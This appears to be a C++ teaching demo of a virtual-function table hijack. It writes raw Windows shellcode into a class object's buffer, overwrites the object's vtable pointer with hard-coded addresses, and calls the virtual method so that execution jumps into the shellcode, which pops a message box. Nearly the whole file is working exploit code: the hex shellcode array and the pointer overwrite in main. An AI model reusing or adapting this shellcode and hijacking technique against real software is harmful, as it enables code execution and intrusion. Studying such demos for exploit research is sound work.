1 // Attack_cpp_virtual_fun.cpp : Defines the entry point for the console application.
 2 //
 3 
 4 #include "stdafx.h"
 5 #include <stdio.h>
 6 #include <string.h>
 7 char shellcode[] = {
 8                 
 9                 "\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\x0C\x33"10                 "\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30"11                 "\x8B\x4B\x0C\x8B\x49\x1C\x57\x56\x8B\x69\x08\x8B\x79\x20\x8B\x09\x66\x39\x57\x18\x75\xF2"12                 "\x5E\x5F\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05"13                 "\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A\xC4"14                 "\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66"15                 "\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75"16                 "\xA9\x33\xDB\x53\x68\x61\x61\x61\x61\x68\x62\x62\x62\x62\x8B\xC4\x53\x50\x50\x53\xFF\x57"17                 "\xFC\x53\xFF\x57\xF8\x74\x7d\x42"}; // 427d74 指向 overflow的buf 头，也就是复制过去的shllcode头位置
18 class zhenw0
19 {
20 public:
21     char buf[200];
22     virtual void test(void)
23     {
24         printf("class zhenw0:test() \n");
25 
26     }
27 };
28 
29 zhenw0 overflow,*p;
30 
31 int main(int argc, char* argv[])
32 {
33     char * p_vtable;
34     
35     p_vtable  = overflow.buf - 4;
36     p_vtable[0] = 0x29;　　　　// 427e29 指向 overflow.buf承载的shellcode末尾
37     p_vtable[1] = 0x7e;
38     p_vtable[2] = 0x42;
39     p_vtable[3] = 0x00;
40     strcpy(overflow.buf,shellcode);
41     //__asm int 3
42     p = &overflow;
43     p->test();
44 
45 
46     return 0;
47 }